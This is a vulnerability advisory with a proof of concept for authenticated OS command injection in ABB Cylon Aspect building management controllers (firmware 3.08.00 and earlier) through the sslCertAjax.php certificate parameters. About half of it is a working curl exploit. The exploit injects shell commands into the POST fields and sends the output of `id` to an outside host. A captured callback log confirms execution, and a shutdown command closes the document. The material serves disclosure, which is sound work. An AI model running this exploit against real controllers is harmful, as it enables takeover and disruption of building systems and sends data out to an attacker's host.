ABB Cylon Aspect 3.08.00 sslCertAjax.php Remote Command Execution

ABB Cylon Aspect 3.08.00 (sslCertAjax.php) Remote Code Execution

Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.00

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from an authenticated OS command
injection vulnerability. This can be exploited to inject and execute arbitrary
shell commands through the ‘country’, ‘state’, ‘locality’, ‘organization’, and
‘hostname’ HTTP POST parameters called by the sslCertAjax.php script.

Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2024-5842
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5842.php

21.04.2024

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$ curl -X POST “http://192.168.73.31/sslCertAjax.php” \
> -H “Cookie: PHPSESSID=xxx” \
> -d “opType=genCert\
> &country=`sleep 1`\
> &state=`sleep 2`\
> &locality=`sleep 3`\
> &organization=`sleep 4`\
> &hostname=ZSL$(curl -A `id` remotelog.zeroscience.mk)” ; ./incom -l httplog &
<div>Certificate Generation Successful</div>
[1] + 50123 done incom
$
$ cat httplog
—— remotelog ——
GET / HTTP/1.1
User-Agent: uid=33(www-data)
Host: remotelog.zeroscience.mk
Accept: */*
—— remotelog ——
$ shutdown -h +17 “Good afternoon, good evening and good night.”